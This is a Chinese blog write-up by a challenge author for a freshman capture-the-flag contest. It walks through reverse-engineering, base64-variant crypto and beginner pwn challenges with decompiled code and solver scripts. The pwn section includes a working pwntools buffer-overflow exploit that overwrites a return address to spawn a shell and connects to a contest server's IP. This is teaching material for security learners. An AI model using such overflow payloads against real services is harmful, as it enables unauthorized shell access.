新生赛,担任出题给新生们出点题玩玩,没想到惨不忍睹,只能可劲放hint,深怕他们们解不出来。

0x00 Reverse

所有我出的题,我尽量给出双解(IDA和OD),不是我出的就不要在我这里看了奥

0x01 Luck

IDA

先看mian函数,game函数和flagshow函数

然后看game函数

在函数结尾的时候有一个设置随机数种子,很可疑,暂时记下。0x2918 = 10520。再看flagshow函数:

所以flag是取伪随机数xor v2来的,v2则是n1数组的元素。

{% note primary %}

什么是xor?

xor:异或,相异得一,相同得零。例如:1 ^ 1 = 0;1 ^ 0 = 1;0 ^ 0 = 0

程序中xor操作过程是按位进行的。先将操作数转换为二进制数,再进行按位异或。例如:23 ^ 45

23 = 0001 0111 45 = 0010 1101 => 23 ^ 45 = 0011 1010 = 58

因为xor的特性,所以有:若a^b=c,则c^b=a;c^a=b。

详细的查看{% btn https://baike.baidu.com/item/异或/10993677?fromtitle=xor&fromid=64178&fr=aladdin, 百度百科, XOR %}

{% endnote %}

找到n1数组,提取出来

{% note primary %}

这里可以右键转换为数组再通过Shift+E提取,可以快速提取到值

{% endnote %}

前面是4个数有三个都是0,因为int是4字节的,而这里把它一个字节一个字节解析的,所以宽度设置为4。得到数据:

再用notepad替换0为空即可。写出exp即可。

uage-c
  • 01
  • 02
  • 03
  • 04
  • 05
  • 06
  • 07
  • 08
  • 09
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
#include<stdio.h> #include<stdlib.h> int main() { int decode[] = {0x7F,0x5B,0x4A,0x5,0x64,0x1,0x66,0x65,0x66,0x5B,0x4A,0x20,0x51,0x4F,0x39,0x1,0x41,0x6B,0x5F,0x7E,0x73,0x7A,0x57,0x5A,0x0E,0x11,0x6F,0x0,}; srand(10520); for(int i=0;decode[i];i++) { printf("%c",decode[i] ^ (rand()%100+1)); } return 0; } //flag{1uck_g4y_n0t_n55d_x0r}

OD

在main函数和flagshow函数有两次判断,只要一次猜出来就可以得到flag,我们直接nop掉两次跳转或者改变跳转地址即可

先找到判断1,下断:

再找到跳转2,下断(搜索字符串就不教了奥):

直接运行,猜出数字到断点处:

nop掉jz跳转,进入第二个call(F7):

这里je跳转箭头内的全部nop,目的是不执行retn,push ebx要留下,这里截图错了。

进入循环后再用F8比较浪费时间,可以直接F4到函数快结尾处,不会的下断点在最后一个call,然后再F8一下,就看到程序框内的flag了。

other

用CE应该也是可以的,每猜一次搜索次数嘛,还是很简单。难就难在程序结束了没有滞留,黑框就没了,这种情况应该怎么搞呢?自己去探索吧~

0x02 EasyRe

IDA

这个源码还是很简单了,太长就不截图了,直接复制吧

uage-c
  • 001
  • 002
  • 003
  • 004
  • 005
  • 006
  • 007
  • 008
  • 009
  • 010
  • 011
  • 012
  • 013
  • 014
  • 015
  • 016
  • 017
  • 018
  • 019
  • 020
  • 021
  • 022
  • 023
  • 024
  • 025
  • 026
  • 027
  • 028
  • 029
  • 030
  • 031
  • 032
  • 033
  • 034
  • 035
  • 036
  • 037
  • 038
  • 039
  • 040
  • 041
  • 042
  • 043
  • 044
  • 045
  • 046
  • 047
  • 048
  • 049
  • 050
  • 051
  • 052
  • 053
  • 054
  • 055
  • 056
  • 057
  • 058
  • 059
  • 060
  • 061
  • 062
  • 063
  • 064
  • 065
  • 066
  • 067
  • 068
  • 069
  • 070
  • 071
  • 072
  • 073
  • 074
  • 075
  • 076
  • 077
  • 078
  • 079
  • 080
  • 081
  • 082
  • 083
  • 084
  • 085
  • 086
  • 087
  • 088
  • 089
  • 090
  • 091
  • 092
  • 093
  • 094
  • 095
  • 096
  • 097
  • 098
  • 099
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // eax char v4; // cl int v5; // eax char v6; // al int v7; // edx char v8; // al signed int v9; // edx char flag[256]; // [esp+0h] [ebp-138h] char third[12]; // [esp+100h] [ebp-38h] char second[11]; // [esp+10Ch] [ebp-2Ch] char zero[8]; // [esp+118h] [ebp-20h] char first[7]; // [esp+120h] [ebp-18h] char flag_0[9]; // [esp+128h] [ebp-10h] char v17; // [esp+132h] [ebp-6h] printf("PLZ input your flag:\n"); scanf_s("%s", flag); if ( strlen(flag) != 37 ) // flag长度为27 { printf("the len of flag is wrong,sorry\n"); _exit(0); } if ( flag[7] != '_' || flag[14] != '_' || flag[25] != '_' ) { // 第8、15、26位为‘_’ printf("something is wrong~try again\n"); _exit(0); } *zero = 0; *&zero[2] = 0; *&zero[6] = 0; _strncpy_s(zero, 8u, flag, 7u); flag_0[8] = 0; strcpy(flag_0, "welcome"); // 第一部分:welcome v3 = strcmp(flag_0, zero); if ( v3 ) v3 = -(v3 < 0) | 1; if ( v3 ) { _puts(zero); printf("you are wrong, sorry.\n"); _exit(1); } *first = 0; *&first[2] = 0; first[6] = 0; _strncpy_s(first, 7u, &flag[8], 6u); *&flag_0[4] = 'xudc'; // 按R转为字符串 *&flag_0[8] = 'bw'; // 是数转过来的,为小端存储,既倒叙 v4 = 99; // 所以第二部分:cduxwb v17 = 0; v5 = 0; do { if ( first[v5] != v4 ) { _puts(first); printf("It's close. Come on!\n"); _exit(2); } v4 = flag_0[v5++ + 5]; } while ( v4 ); *second = 0; second[10] = 0; *&second[2] = 0i64; _strncpy_s(second, 0xBu, &flag[15], 0xAu); *flag_0 = *aEverythi; *&flag_0[8] = 'GN'; v6 = aEverythi[0]; // 第三部分为:EVERYTHING if ( aEverythi[0] ) { v7 = 0; do { if ( second[v7] - 32 != v6 ) // flag[i] = flag_0[i] + 32 { // 大小写字母之差为32,所以真正的flag为小写 _puts(second); printf("hurry up! GO GO GO!\n"); _exit(3); } v6 = flag_0[v7++ + 1]; } while ( v6 ); } *third = 0; *&third[10] = 0; *&third[2] = 0i64; _strncpy_s(third, 0xCu, &flag[26], 0xBu); strcpy(flag_0, "suhxlzSUKMC"); v8 = 's'; // 第四部分xor加密 v9 = 26; do { if ( (v9 ^ third[v9 - 26]) != v8 ) { _puts(third); printf("ohhhhh,a little!only a little!\t"); _exit(4); } v8 = flag_0[v9++ - 25]; } while ( v8 ); printf("nice!Do a good jod!!!your flag:\nflag{%s}", flag); return 0; // flag包上{}输出 }

EVERYTHING最后的NG哪来的?

xor反解脚本 Python:

uage-python
  • 01
  • 02
  • 03
  • 04
  • 05
  • 06
  • 07
flag='' a = 'suhxlzSUKMC' for i in range(len(a)): flag+= chr(ord(a[i])^(i+26)) print(flag) #interesting

不会python?也行嘛,直接把代码复制过来,改一改,也能跑 C语言:

uage-c
  • 01
  • 02
  • 03
  • 04
  • 05
  • 06
  • 07
  • 08
  • 09
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
#include<stdio.h> #include<windows.h> long long v30 = 0x55537a6c78687573; long long v31 = 0x434d4b; int main(){ int v8 = 115; int v9 = 26; do{ printf("%c",(v9 ^ v8)); v8 = *((BYTE *)&v30 + v9++ -25); } while(v8); return 0; }

所以得到全部flag,中间用 _ 连接

welcome_cduxwb_everything_interesting

OD

因为flag是输入值,OD分析效果不大。故无IDA分析解法。

0x03 Maze

IDA

先看main函数

uage-c
  • 01
  • 02
  • 03
  • 04
  • 05
  • 06
  • 07
  • 08
  • 09
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
int __cdecl main(int argc, const char **argv, const char **envp) { signed int v3; // esi char v4; // dl char *v5; // edi unsigned int v6; // ecx char v7; // al char YourChoice[256]; // [esp+4h] [ebp-104h] welcome(); v3 = 1; printf("How to out of maze?\n"); scanf_s("%s", YourChoice); v4 = YourChoice[0]; if ( YourChoice[0] ) { v5 = YourChoice; v6 = 1; do { if ( v4 != 'w' && v4 != 'a' && v4 != 's' && v4 != 'd' ) { // 行为判断 wasd,其他输入均为错误 printf("Error input!"); _exit(0); } maze[v3] = '*'; // 当前位置变为*,既不允许回头 switch ( v4 ) { case 'w': // w 按理说是向上 v3 -= 10; // 所以应该是10个为一排 v6 -= 10; break; case 's': v3 += 10; v6 += 10; break; case 'a': // a是左 --v3; --v6; break; case 'd': // d是右 ++v3; ++v6; break; } if ( maze[v3] == '*' || v6 > 50 ) { // 不能走到*,不能大于50 <=> 迷宫长度为50,既10*5的矩阵 printf("Wrong way,try again!\n"); _exit(0); } v7 = (v5++)[1]; v4 = v7; } while ( v7 ); } if ( maze[v3] == 'n' ) // 走到终点 ‘n’ printf("Great!You did it!get your flag:\nflag{%s}", YourChoice); else // 走完所有步数才走到中间还未到终点 printf("Emmmmmm,It's not the end"); return 0; }

已经清楚了,就是一个迷宫,走出迷宫就好了,所以找到迷宫,还有一个welcome函数没看

找到了迷宫是怎么来的,先提取sapceNum,之前讲过的,shift+E

写个脚本模拟一下,还是python

uage-python
  • 01
  • 02
  • 03
  • 04
  • 05
  • 06
  • 07
  • 08
  • 09
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
sN = [2, 3, 13, 14, 15, 16, 17, 27, 31, 33, 34, 35, 37, 41, 42, 43, 45, 46, 47] maze = '*' * 50 maze = list(maze) for i in sN: maze[i] = ' ' for i in range(50): #输出 print(maze[i],end='') if (i+1)%10 == 0: print('') #换行 ''' ** ****** *** ** ******* ** * * * ** * * ** '''

是不是少了点什么?END呢?回到welcome函数再看,当然你看到的是数字,你点一下数字,再按R……

{% note primary %}

byte_40336D = 's';

byte_403381 = 'n';

{% endnote %}

跳转过来,其实就是maze中的位置,maze的开头是6C,6D为‘s’,既第二个就是‘s’。同理找到‘n’的位置。

得到完整迷宫

  • 01
  • 02
  • 03
  • 04
  • 05
*s ****** *** ** *n***** ** * * * ** * * **

走迷宫嘛就。ddsddddsssaawaasaaww

OD

OD解可就太简单了,本来这题的考点也是OD,IDA不指望他们能分析出来。直接拖入OD,运行,然后搜索字符串

{% note primary %}

为什么要先运行再搜索字符串,一开始不行吗?肯定是不行的,至于为什么,自己探索吧~

{% endnote %}

一搜就搜出来了,放在记事本里,十个一换行,得到迷宫。直接得到答案。

{% note info %}

到这里我的题就解完了,思考一下,为什么我都是先IDA后OD,是我的习惯吗?不全是,OD调试程序,为了更准确的找到相应的位置,可以先通过IDA简单分析一下,再使用OD,可以大大提高效率。

{% endnote %}


0x10 Crypto

密码学这玩意吧,玩着听有趣的,出的人多,我就随便整了一道

0x11 Base_for

直接看python文件吧

uage-python
  • 01
  • 02
  • 03
  • 04
  • 05
  • 06
  • 07
  • 08
  • 09
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
import base64 table = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/") TABLE = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' flag = b'flag{**************}' def myencode(S, t, T): t = ''.join(t).encode() newtable = bytes.maketrans(T, t) enc = base64.b64encode(S).translate(newtable) print(enc.decode()[:5]) return enc for i in range(len(table)): for j in range(len(table)-i-1): #替换base表 if table[j] > table[j+1]: x = table[j] table[j]=table[j+1] table[j+1] = x if i % 10 == 0: flag = myencode(flag,table,TABLE) flag = flag.decode() print('\n' + flag + '\n') #ZmxhZ #Wmpsa #Vqpkc #0bFk5 #1GJGO #/IR9F #9oZGC #9oZGCINjS4YtQKhnHIhfQWhiJYh6AXVBFohYFYNLO2EjGJ7nCKtCHnZlNqkfPosqEnFKFoQmKYt6JqRaFXAsEnZjHZZ5KXFB9q3jR2gnHL6fPodDHqsoBoJ9O2FEJqVbEb2oHmxhS3N/KKhgEoRcNYYoJX2tPXUoG2l3QIh7Mr71GIplHpV3Q2F6Pno=

{% note primary %}

那么就先说一下什么是base64编码吧,你可以理解为加密。既然为加密,那肯定不是随便加密,得有密码表,这个加密的过程就很好玩,是轮换加密表。

而代码中的TABLE则是标准表,替换是根据标准表来的。

{% endnote %}

uage-mermaid
  • 01
  • 02
  • 03
  • 04
  • 05
  • 06
  • 07
  • 08
graph LR A[标准表] --> B[替换表1] --> F[替换表2] -.->H[替换表N] D[明文] --> EN1[加密] --> E[密文1] B --> EN1 F --> EN2[加密] --> C[密文2] E --> EN2 C -.-> EN3[加密] H -.-> EN3 --> 密文

这有点翻转加密那味了,但是还是很简单的。直接利用原来的加密程序,记录每次加密的表,再用表反向解密即可

uage-python
  • 01
  • 02
  • 03
  • 04
  • 05
  • 06
  • 07
  • 08
  • 09
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
import base64 table = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/") TABLE = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' etable = [] for i in range(len(table)): for j in range(len(table)-i-1): if table[j] > table[j+1]: x = table[j] table[j]=table[j+1] table[j+1] = x if i % 10 == 0: etable.append(''.join(table).encode()) #加密过程改为记录表 enc = b'9oZGCINjS4YtQKhnHIhfQWhiJYh6AXVBFohYFYNLO2EjGJ7nCKtCHnZlNqkfPosqEnFKFoQmKYt6JqRaFXAsEnZjHZZ5KXFB9q3jR2gnHL6fPodDHqsoBoJ9O2FEJqVbEb2oHmxhS3N/KKhgEoRcNYYoJX2tPXUoG2l3QIh7Mr71GIplHpV3Q2F6Pno=' #密文为最后一次完整的输出结果 for i in etable[::-1]: #加密为正序,解密则要倒叙 newtable = bytes.maketrans(i, TABLE) enc = base64.b64decode(enc.translate(newtable)) print(enc.decode()) #输出每次解密结果 ''' /IR9Foxi9qksMKkr+nVKH28MGKdFFWhD/IRs9nNO9qgl+oN6C4VGG2ZNHWgfF38C9oNYGZ4M/aotK3Mr+oJOOn47EKhDPWhgBq4O/mxVBYklCGhfI4V19n84HLEqKIcrCIMqOXEpDHo= 1GJGOn+l8al7/8VL2XIjQF+O1Gx+6Z+k1/FG8XRH9YN++DBN+FdJQX2m9XF7/EZk1HAkOn+l7aZ3/a6L19+kPXB+2EMt6YJ79F6j45== 0bFk5qNlRY8W62/pUZ0oUFUp1aFN7GRFUT0YTZIr3rR1RXIp0p0k5qJiNZdW1Epn0U4F9FBRPTo= VqpkcqFGbmx5RUtPU5ZaMpdEQ5dNR7ctVF25WUpkbn6ZbXMsUFExPQ== WmpsaFo/dENORFZ3WDBGMFg9TXdYMpo9Yms8PQ== ZmxhZ4tCNDVlX0F0X2MwX3Z2bn1= flag{B45e_1s_S0_fun} '''

{% note success %}

嗯?不会python,怎么做,在原来的脚本上,加密那行下面,输出每次的table,然后去在线网站 解啊

记住是逆着来,每次加密都输出前几位,就是为了给你们提示,手动解的时候验证是不是对的

{% endnote %}

0x20 Pwn

这也算是CTF竞赛中分数占比比较大的一部分了,但是我们没有开班,所以就弄了两道启蒙题

0x21 What's nc

nc嘛,就不多说了,太简单。直接就给了shell

知道linux指令就行,ls、cat flag级行

0x22 Rip

先下载附件IDA查看分析,main函数就这么简单,输入什么,就输出什么。

shift+F12搜索字符串看看。就得到了

有Shell函数,所以我们就像办法执行他就行。查看地址

找到了,在sueprise函数里面(应该是surprise函数,惊喜嘛,这里出题时打错了,不过不影响做题)

得到 "/bin/sh" 字段的地址,应该从哪开始执行?从0x4011B1开始。

得到这个地址了,问题是怎么执行到这个函数这来呢?main函数是安全的吗?有地方有漏洞吗,当然有,scanf("%s")是不安全的。是存在缓冲区溢出的。查看溢出所需要的长度(既V4的大小)

得到了0x30的长度,覆盖到这里就结束了吗?答案是还没有,后面还有8字节的返回地址,要覆盖到这里,所以应该是0x38.

执行exp

uage-python
  • 01
  • 02
  • 03
  • 04
  • 05
  • 06
  • 07
  • 08
  • 09
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
#!/usr/bin/env python #coding=utf8 from pwn import * context.log_level = 'debug' #显示调试的信息 context.terminal = ['gnome-terminal','-x','bash','-c'] #? local = 0 #设置是本地还是远程渗透 if local: p = process('./pwn1') #bin = ELF('./',checksec=False) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False) else: p=remote('47.108.228.77',10001) #bin = ELF('./',checksec=False) #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False) pass bin_sh_addr = 0x4011b1 payload = b'A'*0x38 + p64(bin_sh_addr) print(payload) def choose2(): p.sendline(payload) p.interactive() choose2()

{% note primary %}

运行环境 :linux

什么?代码报错?先安装python库pwntools。不会使用pip自学吧,什么都喂到嘴边,那还了得。

{% endnote %}

END

说真的,这次的题,都是很简单,很好玩了,当然也不全是在课堂上讲过的,目的就是为了让你们学习,能够学到新东西,体验到比赛的快乐和解题的酣畅淋漓感。

continue……